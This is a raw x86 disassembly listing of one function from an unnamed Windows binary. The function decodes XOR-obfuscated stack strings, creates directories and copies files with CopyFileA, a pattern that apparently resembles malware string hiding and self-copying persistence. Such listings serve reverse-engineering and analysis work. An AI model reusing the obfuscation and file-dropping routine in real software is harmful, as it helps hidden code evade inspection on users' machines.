mov ecx, dword [ebp - 0x10c]
mov dword [ebp - 0x580], eax
mov dword [ebp - 0x57c], ecx
mov dword [ebp - 0x118], 0x76184a46
mov dword [ebp - 0x114], 0xf52f0c30
mov eax, dword [ebp - 0x118]
mov ecx, dword [ebp - 0x114]
mov dword [ebp - 0x578], eax
mov dword [ebp - 0x574], ecx
mov dword [ebp - 0x120], 0x4efd535
mov dword [ebp - 0x11c], 0xe640eba1
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x11c]
mov dword [ebp - 0xb40], eax
mov dword [ebp - 0x40], 0x76184a46
mov dword [ebp - 0xb3c], ecx
mov dword [ebp - 0x3c], 0xf52f0c30
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
movaps xmm1, xmmword [ebp - 0x580]
mov dword [ebp - 0xb38], eax
lea eax, [ebp - 0x580]
mov dword [ebp - 0xb34], ecx
lea ecx, [ebp - 0x1830]
pxor xmm1, xmmword [ebp - 0xb40]
push eax
movaps xmmword [ebp - 0x580], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0xd48]
push ecx
mov ecx, eax
call fcn.004abc20
push eax
lea ecx, [ebp - 0x1758]
call fcn.0040fca0
mov edi, dword [ebp - 0x48]
lea ecx, [ebp - 0x1758]
or edi, 0x400
mov dword [ebp - 0x48], edi
call fcn.004aba80
lea ecx, [ebp - 0x14d0]
mov esi, eax
call fcn.004aba80
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and edi, 0xfffffbff
mov esi, eax
mov dword [ebp - 0x48], edi
mov byte [ebp - 4], 0x53
lea ecx, [ebp - 0x1758]
call fcn.0040fe10
mov byte [ebp - 4], 0x51
lea eax, [ebp - 0x1758]
mov dword [ebp - 0x8c], eax
mov byte [ebp - 4], 0x56
lea ecx, [ebp - 0x1830]
call fcn.0040fe10
mov byte [ebp - 4], 0x4c
lea eax, [ebp - 0x1830]
mov dword [ebp - 0x94], eax
mov byte [ebp - 4], 0x4c
test esi, esi
je 0x46deab
mov byte [ebp - 0x42], 1
mov byte [ebp - 0x31], 1
mov byte [ebp - 4], 0x59
lea ecx, [ebp - 0xd48]
call fcn.0040fe10
mov byte [ebp - 4], 0x49
lea eax, [ebp - 0xd48]
mov dword [ebp - 0x90], eax
mov byte [ebp - 4], 0x47
lea eax, [ebp - 0x14b8]
mov dword [ebp - 0xbc], eax
mov byte [ebp - 4], 0x5d
mov ecx, eax
call fcn.004adf90
mov byte [ebp - 4], 0x47
lea eax, [ebp - 0x14b8]
mov dword [ebp - 0x50], eax
mov byte [ebp - 4], 0x60
lea ecx, [ebp - 0x14d0]
call fcn.0040fe10
mov byte [ebp - 4], 0x46
lea eax, [ebp - 0x14d0]
mov dword [ebp - 0x6c], eax
mov byte [ebp - 4], 0x46
mov eax, dword [ebp - 0x4c]
add eax, 0x18
mov dword [ebp - 0x4c], eax
cmp eax, dword [ebp - 0x60]
jne 0x46da34
cmp byte [ebp - 0x42], 0
jne 0x46df3c
push 0
mov dl, 1
lea ecx, [ebp - 0x13e0]
call fcn.0041a270
add esp, 4
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x844]
call fcn.004add00
mov byte [ebp - 4], 0x63
lea ecx, [ebp - 0x1740]
call fcn.0040fe10
mov byte [ebp - 4], 0x3c
lea eax, [ebp - 0x1740]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x3c
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x40], 0x60868569
lea edx, [ebp - 0x1c0]
mov dword [ebp - 0x3c], 0xe62e82c6
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x590], eax
mov dword [ebp - 0x58c], ecx
mov dword [ebp - 0x40], 0x76184a46
mov dword [ebp - 0x3c], 0xf52f0c30
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x588], eax
mov dword [ebp - 0x584], ecx
mov dword [ebp - 0x40], 0x4efd535
mov dword [ebp - 0x3c], 0xe640eba1
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0xb50], eax
mov dword [ebp - 0x40], 0x76184a46
mov dword [ebp - 0xb4c], ecx
mov dword [ebp - 0x3c], 0xf52f0c30
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
movaps xmm1, xmmword [ebp - 0x590]
mov dword [ebp - 0xb48], eax
lea eax, [ebp - 0x590]
mov dword [ebp - 0xb44], ecx
lea ecx, [ebp - 0x1338]
pxor xmm1, xmmword [ebp - 0xb50]
push eax
movaps xmmword [ebp - 0x590], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x66
lea ecx, [ebp - 0x1338]
push 0
call fcn.004aba80
push eax
call edi
test eax, eax
je 0x46e4f6
mov dword [ebp - 0x40], 0x719ffb69
mov dword [ebp - 0x3c], 0x832c9bd3
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], ecx
mov dword [ebp - 0x40], 0x76184a46
mov dword [ebp - 0x3c], 0xf52f0c30
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], ecx
mov dword [ebp - 0x40], 0x4efd535
mov dword [ebp - 0x3c], 0xe640eba1
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0xb60], eax
mov dword [ebp - 0x40], 0x76184a46
mov dword [ebp - 0xb5c], ecx
mov dword [ebp - 0x3c], 0xf52f0c30
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
movaps xmm1, xmmword [ebp - 0x190]
mov dword [ebp - 0xb58], eax
lea eax, [ebp - 0x1308]
mov dword [ebp - 0xb54], ecx
mov ecx, eax
pxor xmm1, xmmword [ebp - 0xb60]
movaps xmmword [ebp - 0x190], xmm1
mov dword [ebp - 0x24], eax
call fcn.00410150
mov byte [ebp - 4], 0x68
lea ecx, [ebp - 0x190]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46e0f1
sub ecx, edx
lea eax, [ebp - 0x190]
push ecx
push eax
lea ecx, [ebp - 0x1308]
call fcn.00410090
mov byte [ebp - 4], 0x69
mov dword [ebp - 0x40], 0x40bf8574
mov dword [ebp - 0x3c], 0xe601bfe0
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x5a0], eax
mov dword [ebp - 0x59c], ecx
mov dword [ebp - 0x40], 0x76184a46
mov dword [ebp - 0x3c], 0xf52f0c30
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x598], eax
mov dword [ebp - 0x594], ecx
mov dword [ebp - 0x40], 0x4efd535
mov dword [ebp - 0x3c], 0xe640eba1
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0xb70], eax
mov dword [ebp - 0x40], 0x76184a46
mov dword [ebp - 0xb6c], ecx
mov dword [ebp - 0x3c], 0xf52f0c30
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
movaps xmm1, xmmword [ebp - 0x5a0]
mov dword [ebp - 0xb68], eax
lea eax, [ebp - 0x5a0]
mov dword [ebp - 0xb64], ecx
pxor xmm1, xmmword [ebp - 0xb70]
push eax
movaps xmmword [ebp - 0x5a0], xmm1
call fcn.0052d011
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x6a
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46e1c1
sub ecx, esi
push ecx
push edx
push 0
lea ecx, [ebp - 0x1308]
call fcn.004b5110
push eax
lea ecx, [ebp - 0x1320]
call fcn.0040fca0
or dword [ebp - 0x48], 0x4000
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x1308]
call fcn.0040fe10
mov byte [ebp - 4], 0x6b
lea eax, [ebp - 0x1308]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0x1320]
call fcn.004aba80
mov ecx, eax
call fcn.0041a220
test al, al
je 0x46e4bd
mov dword [ebp - 0x40], 0x678cb469
lea edx, [ebp - 0x1320]
mov dword [ebp - 0x3c], 0x922e9ece
sub esp, 0x18
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x5b0], eax
mov dword [ebp - 0x5ac], ecx
mov dword [ebp - 0x40], 0x1b606435
mov dword [ebp - 0x3c], 0xf52f0c5c
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x5a8], eax
mov dword [ebp - 0x5a4], ecx
mov dword [ebp - 0x40], 0x4efd535
mov dword [ebp - 0x3c], 0xe640eba1
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0xb80], eax
mov dword [ebp - 0x40], 0x76184a46
mov dword [ebp - 0xb7c], ecx
mov dword [ebp - 0x3c], 0xf52f0c30
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
movaps xmm1, xmmword [ebp - 0x5b0]
mov dword [ebp - 0xb78], eax
lea eax, [ebp - 0x5b0]
mov dword [ebp - 0xb74], ecx
mov ecx, esp
pxor xmm1, xmmword [ebp - 0xb80]
mov dword [ebp - 0x24], esp
push eax
movaps xmmword [ebp - 0x5b0], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x6f
mov byte [ebp - 4], 0x6b
call fcn.0041a120
add esp, 0x18
test al, al
je 0x46e4bd
mov dword [ebp - 0x40], 0x678cb469
lea edx, [ebp - 0x1338]
mov dword [ebp - 0x3c], 0x922e9ece
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x5c0], eax
mov dword [ebp - 0x5bc], ecx
mov dword [ebp - 0x40], 0x1b606435
mov dword [ebp - 0x3c], 0xf52f0c5c
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x5b8], eax
mov dword [ebp - 0x5b4], ecx
mov dword [ebp - 0x40], 0x4efd535
mov dword [ebp - 0x3c], 0xe640eba1
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0xb90], eax
mov dword [ebp - 0x40], 0x76184a46
mov dword [ebp - 0xb8c], ecx
mov dword [ebp - 0x3c], 0xf52f0c30
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
movaps xmm1, xmmword [ebp - 0x5c0]
mov dword [ebp - 0xb88], eax
lea eax, [ebp - 0x5c0]
mov dword [ebp - 0xb84], ecx
lea ecx, [ebp - 0x18a8]
pxor xmm1, xmmword [ebp - 0xb90]
push eax
movaps xmmword [ebp - 0x5c0], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x70
mov ecx, eax
call fcn.004aba80
mov dword [ebp - 0x40], 0x678cb469
mov esi, eax
mov dword [ebp - 0x3c], 0x922e9ece
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x5d0], ecx
mov dword [ebp - 0x5cc], edx
lea edx, [ebp - 0x1320]
mov dword [ebp - 0x40], 0x1b606435
mov dword [ebp - 0x3c], 0xf52f0c5c
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x5c8], ecx
mov dword [ebp - 0x5c4], eax
mov dword [ebp - 0x40], 0x4efd535
mov dword [ebp - 0x3c], 0xe640eba1
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0xba0], eax
mov dword [ebp - 0x40], 0x76184a46
mov dword [ebp - 0xb9c], ecx
mov dword [ebp - 0x3c], 0xf52f0c30
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
movaps xmm1, xmmword [ebp - 0x5d0]
mov dword [ebp - 0xb98], eax
lea eax, [ebp - 0x5d0]
mov dword [ebp - 0xb94], ecx
lea ecx, [ebp - 0x18c0]
pxor xmm1, xmmword [ebp - 0xba0]
push eax
movaps xmmword [ebp - 0x5d0], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x71
mov ecx, eax
call fcn.004aba80
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x18c0]
call fcn.0040fe10
mov byte [ebp - 4], 0x70
lea eax, [ebp - 0x18c0]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x75
lea ecx, [ebp - 0x18a8]
call fcn.0040fe10
mov byte [ebp - 4], 0x6b
lea eax, [ebp - 0x18a8]
mov dword [ebp - 0x5c], eax
mov byte [ebp - 4], 0x6b
test esi, esi
je 0x46e4bd
mov byte [ebp - 0x31], 1
jmp 0x46e4cf
push 0
mov dl, 1
lea ecx, [ebp - 0x1338]
call fcn.0041a270
add esp, 4
and dword [ebp - 0x48], 0xffffbfff
mov byte [ebp - 4], 0x78
lea ecx, [ebp - 0x1320]
call fcn.0040fe10
mov byte [ebp - 4], 0x66
lea eax, [ebp - 0x1320]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x66
cmp byte [ebp - 0x31], 0
jne 0x46e50e
push 0
mov dl, 1
lea ecx, [ebp - 0x1c0]
call fcn.0041a270
add esp, 4
mov byte [ebp - 4], 0x7b
lea ecx, [ebp - 0x1338]
call fcn.0040fe10
mov byte [ebp - 4], 0x3c
lea eax, [ebp - 0x1338]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0x13e0]
call fcn.0040fe10
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x13e0]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 4], 0x181
lea ecx, [ebp - 0x104]
call fcn.0040fe10
mov dword [ebp - 4], 0xfe
lea eax, [ebp - 0x104]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 4], 0x184
lea ecx, [ebp - 0x1350]
call fcn.0040fe10
mov dword [ebp - 4], 0xf0
lea eax, [ebp - 0x1350]
mov dword [ebp - 0x94], eax
mov dword [ebp - 4], 0x187
lea ecx, [ebp - 0x1368]
call fcn.0040fe10
mov dword [ebp - 4], 0xe2
lea eax, [ebp - 0x1368]
mov dword [ebp - 0x90], eax
mov dword [ebp - 4], 0x18a
lea ecx, [ebp - 0x1380]
call fcn.0040fe10
mov dword [ebp - 4], 0xe1
lea eax, [ebp - 0x1380]
mov dword [ebp - 0xbc], eax
mov dword [ebp - 4], 0xe1
mov dword [ebp - 4], 0x18d
lea ecx, [ebp - 0x1c0]
call fcn.0040fe10
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x1c0]
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0xffffffff
cmp byte [ebp - 0x64], 0
je 0x46eb8b
mov dword [ebp - 0x40], 0x4abf8369
mov edx, 0x58ab8c
mov dword [ebp - 0x3c], 0xe640eba1
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x5e0], eax
mov dword [ebp - 0x5dc], ecx
mov dword [ebp - 0x40], 0x76184a46
mov dword [ebp - 0x3c], 0xf52f0c30
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x5d8], eax
mov dword [ebp - 0x5d4], ecx
mov dword [ebp - 0x40], 0x4efd535
mov dword [ebp - 0x3c], 0xe640eba1
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0xbb0], eax
mov dword [ebp - 0x40], 0x76184a46
mov dword [ebp - 0xbac], ecx
mov dword [ebp - 0x3c], 0xf52f0c30
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
movaps xmm1, xmmword [ebp - 0x5e0]
mov dword [ebp - 0xba8], eax
lea eax, [ebp - 0x5e0]
mov dword [ebp - 0xba4], ecx
lea ecx, [ebp - 0x13c8]
pxor xmm1, xmmword [ebp - 0xbb0]
push eax
movaps xmmword [ebp - 0x5e0], xmm1
call fcn.004b0150
add esp, 4
mov dword [ebp - 4], 0x190
lea ecx, [ebp - 0x13c8]
push 0
call fcn.004aba80
push eax
call edi
test eax, eax
je 0x46eb62
mov dword [ebp - 0x40], 0x619f9a69
lea edx, [ebp - 0x13c8]
mov dword [ebp - 0x3c], 0xa810bdcf
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x820], eax
mov dword [ebp - 0x81c], ecx
mov dword [ebp - 0x40], 0x18770966
mov dword [ebp - 0x3c], 0x814c695e
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x818], eax
mov dword [ebp - 0x814], ecx
mov dword [ebp - 0x40], 0x4fbfab07
mov dword [ebp - 0x3c], 0xe577e857
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x810], eax
mov dword [ebp - 0x80c], ecx
mov dword [ebp - 0x40], 0x666987e8
mov dword [ebp - 0x3c], 0xd5a69bee
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x808], eax
mov dword [ebp - 0x804], ecx
mov dword [ebp - 0x40], 0x4efd535
mov dword [ebp - 0x3c], 0xe640eba1
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x1080], eax
mov dword [ebp - 0x107c], ecx
mov dword [ebp - 0x40], 0x76184a46
mov dword [ebp - 0x3c], 0xf52f0c30
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x1078], eax
mov dword [ebp - 0x1074], ecx
mov dword [ebp - 0x40], 0x4fbfab07
mov dword [ebp - 0x3c], 0xe577e857
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x1070], eax
mov dword [ebp - 0x106c], ecx
mov dword [ebp - 0x40], 0x666987e8
mov dword [ebp - 0x3c], 0xd5a69bee
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
vmovdqu ymm0, ymmword [ebp - 0x820]
mov dword [ebp - 0x1068], eax
lea eax, [ebp - 0x820]
mov dword [ebp - 0x1064], ecx
lea ecx, [ebp - 0x13b0]
vpxor ymm0, ymm0, ymmword [ebp - 0x1080]
mov byte [ebp - 0x42], 0
vmovdqa ymmword [ebp - 0x820], ymm0
push eax
vzeroupper
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x91
lea ecx, [ebp - 0x13b0]
push 0
call fcn.004aba80
push eax
call edi
test eax, eax
je 0x46eb30
mov dword [ebp - 0x40], 0x619f9a69
mov dword [ebp - 0x3c], 0xa810bdcf
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x720], eax
mov dword [ebp - 0x71c], ecx
mov dword [ebp - 0x40], 0x18770966
mov dword [ebp - 0x3c], 0x814c695e
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x718], eax
mov dword [ebp - 0x714], ecx
mov dword [ebp - 0x40], 0x20cddb5b
mov dword [ebp - 0x3c], 0x801b8131
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x710], eax
mov dword [ebp - 0x70c], ecx
mov dword [ebp - 0x40], 0x6669879b
mov dword [ebp - 0x3c], 0xd5a69bee
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x708], eax
mov dword [ebp - 0x704], ecx
mov dword [ebp - 0x40], 0x4efd535
mov dword [ebp - 0x3c], 0xe640eba1
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0xec0], eax
mov dword [ebp - 0xebc], ecx
mov dword [ebp - 0x40], 0x76184a46
mov dword [ebp - 0x3c], 0xf52f0c30
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0xeb8], eax
mov dword [ebp - 0xeb4], ecx
mov dword [ebp - 0x40], 0x4fbfab07
mov dword [ebp - 0x3c], 0xe577e857
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0xeb0], eax
mov dword [ebp - 0xeac], ecx
mov dword [ebp - 0x40], 0x666987e8
mov dword [ebp - 0x3c], 0xd5a69bee
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
vmovdqu ymm0, ymmword [ebp - 0x720]
mov dword [ebp - 0xea8], eax
lea eax, [ebp - 0x1398]
mov dword [ebp - 0xea4], ecx
mov ecx, eax
vpxor ymm0, ymm0, ymmword [ebp - 0xec0]
vmovdqa ymmword [ebp - 0x720], ymm0
mov dword [ebp - 0x24], eax
vzeroupper
call fcn.00410150
mov byte [ebp - 4], 0x93
lea ecx, [ebp - 0x720]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46e971
sub ecx, edx
lea eax, [ebp - 0x720]
push ecx
push eax
lea ecx, [ebp - 0x1398]
call fcn.00410090
mov byte [ebp - 4], 0x94
mov dword [ebp - 0x40], 0x40bf8574
mov dword [ebp - 0x3c], 0xe601bfe0
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x5f0], eax
mov dword [ebp - 0x5ec], ecx
mov dword [ebp - 0x40], 0x76184a46
mov dword [ebp - 0x3c], 0xf52f0c30
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x5e8], eax
mov dword [ebp - 0x5e4], ecx
mov dword [ebp - 0x40], 0x4efd535
mov dword [ebp - 0x3c], 0xe640eba1
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0xbc0], eax
mov dword [ebp - 0x40], 0x76184a46
mov dword [ebp - 0xbbc], ecx
mov dword [ebp - 0x3c], 0xf52f0c30
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
movaps xmm1, xmmword [ebp - 0x5f0]
mov dword [ebp - 0xbb8], eax
lea eax, [ebp - 0x5f0]
mov dword [ebp - 0xbb4], ecx
pxor xmm1, xmmword [ebp - 0xbc0]
push eax
movaps xmmword [ebp - 0x5f0], xmm1
call fcn.0052d011
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x95
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x46ea41
sub ecx, esi
push ecx
push edx
push 0
lea ecx, [ebp - 0x1398]
call fcn.004b5110
push eax
lea ecx, [ebp - 0x14e8]
call fcn.0040fca0
mov esi, dword [ebp - 0x48]
or esi, 0x20000000
mov dword [ebp - 0x48], esi
mov byte [ebp - 4], 0x97
lea ecx, [ebp - 0x1398]
call fcn.0040fe10
mov byte [ebp - 4], 0x96
lea eax, [ebp - 0x1398]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x96
lea ecx, [ebp - 0x14e8]
call fcn.004aba80
mov ecx, eax
call fcn.0041a220
test al, al
je 0x46eaef
sub esp, 0x18
lea eax, [ebp - 0x13b0]
mov ecx, esp
mov dword [ebp - 0x24], esp
push eax
call fcn.004abdc0
mov byte [ebp - 4], 0x9a
sub esp, 0x18
lea eax, [ebp - 0x14e8]
mov dword [ebp - 0x5c], esp
mov ecx, esp
push eax
call fcn.004abdc0
mov byte [ebp - 4], 0x9b
mov byte [ebp - 4], 0x96
xor cl, cl
call fcn.0041f720
add esp, 0x30
test eax, eax
jne 0x46eaef
mov byte [ebp - 0x42], 1
jmp 0x46eb01
push 0
mov dl, 1
lea ecx, [ebp - 0x13b0]
call fcn.0041a270
add esp, 4
and esi, 0xdfffffff
mov dword [ebp - 0x48], esi
mov byte [ebp - 4], 0x9c
lea ecx, [ebp - 0x14e8]
call fcn.0040fe10
mov byte [ebp - 4], 0x91
lea eax, [ebp - 0x14e8]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x91
cmp byte [ebp - 0x42], 0
jne 0x46eb42
push 0
mov dl, 1
lea ecx, [ebp - 0x13c8]
call fcn.0041a270
add esp, 4
mov byte [ebp - 4], 0x9f
lea ecx, [ebp - 0x13b0]
call fcn.0040fe10
mov byte [ebp - 4], 0x90
lea eax, [ebp - 0x13b0]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x90
mov dword [ebp - 4], 0x1a2
lea ecx, [ebp - 0x13c8]
call fcn.0040fe10
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x13c8]
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret